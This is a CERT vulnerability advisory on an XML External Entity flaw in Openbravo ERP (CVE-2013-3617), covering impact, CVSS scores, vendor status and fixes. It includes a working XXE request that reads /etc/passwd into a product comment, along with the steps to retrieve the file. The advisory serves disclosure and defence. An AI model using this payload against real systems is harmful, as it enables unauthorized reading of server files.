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Openbravo ERP contains an information disclosure vulnerability

Vulnerability Note VU#533894

Original Release Date: 2013-10-30 | Last Revised: 2013-11-05

Overview

Openbravo ERP 2.5, 3, and possibly earlier versions contain an information disclosure vulnerability (CWE-200).

Description

CWE-200: Information Exposure

Openbravo ERP version 2.5 and version 3 contain an information disclosure vulnerability. This is due to the expanded use of XML External Entity (XXE) Processing. An attacker can send specially crafted XML requests to the XML API and have the application return the contents of files on the filesystem.

An example of this request is listed here:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
 <!ELEMENT comments ANY >
 <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]>

<ob:Openbravo xmlns:ob="http://www.example.com"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
        <Product id="C970393BDF6C43E2B030D23482D88EED" identifier="Zumo de Pi༚ 0,5L">
                <id>C970393BDF6C43E2B030D23482D88EED</id>
                <comments>&xxe;</comments>
        </Product>
</ob:Openbravo>

If sent as a PUT or POST request to the respective REST endpoint, this will update the product with the contents of /etc/passwd in the comment section of the product. You may then make a GET request to the respective product's REST endpoint to receive the contents back and parse the file's contents.

For more details, please see Tod Beardsley's Rapid7 blog post.

Impact

An authenticated attacker can send specially crafted XML requests to the XML API and have the application read the contents of the filesystem. This may be used to obtain unauthorized administrative access to the system.

Solution

Apply an Update
OpenBravo has released an update to address this vulnerability. Please refer to their issue tracker for more details.

You may also want to consider using the following workaround.

Disable XXE
By disabling the external general entities feature of the SAXParserFactory used to parse the XML within Java code, the attacker cannot successfully make these XML requests. More details can be found on the OWASP XML External Entity (XXE) Processing page.

Vendor Information

533894
 
Affected   Unknown   Unaffected

Openbravo

Notified:  September 03, 2013 Updated:  September 11, 2013

Status

  Affected

Vendor Statement

No statement is currently available from the vendor regarding this vulnerability.

Vendor Information

We are not aware of further vendor information regarding this vulnerability.


CVSS Metrics

Group Score Vector
Base 3.5 AV:N/AC:M/Au:S/C:P/I:N/A:N
Temporal 2.7 E:POC/RL:OF/RC:C
Environmental 0.9 CDP:L/TD:L/CR:ND/IR:ND/AR:ND

References

Acknowledgements

Thanks to Tod Beardsley and Brandon Perry of Rapid7, Inc. for reporting this vulnerability.

This document was written by Adam Rauf.

Other Information

CVE IDs: CVE-2013-3617
Date Public: 2013-10-30
Date First Published: 2013-10-30
Date Last Updated: 2013-11-05 21:37 UTC
Document Revision: 38

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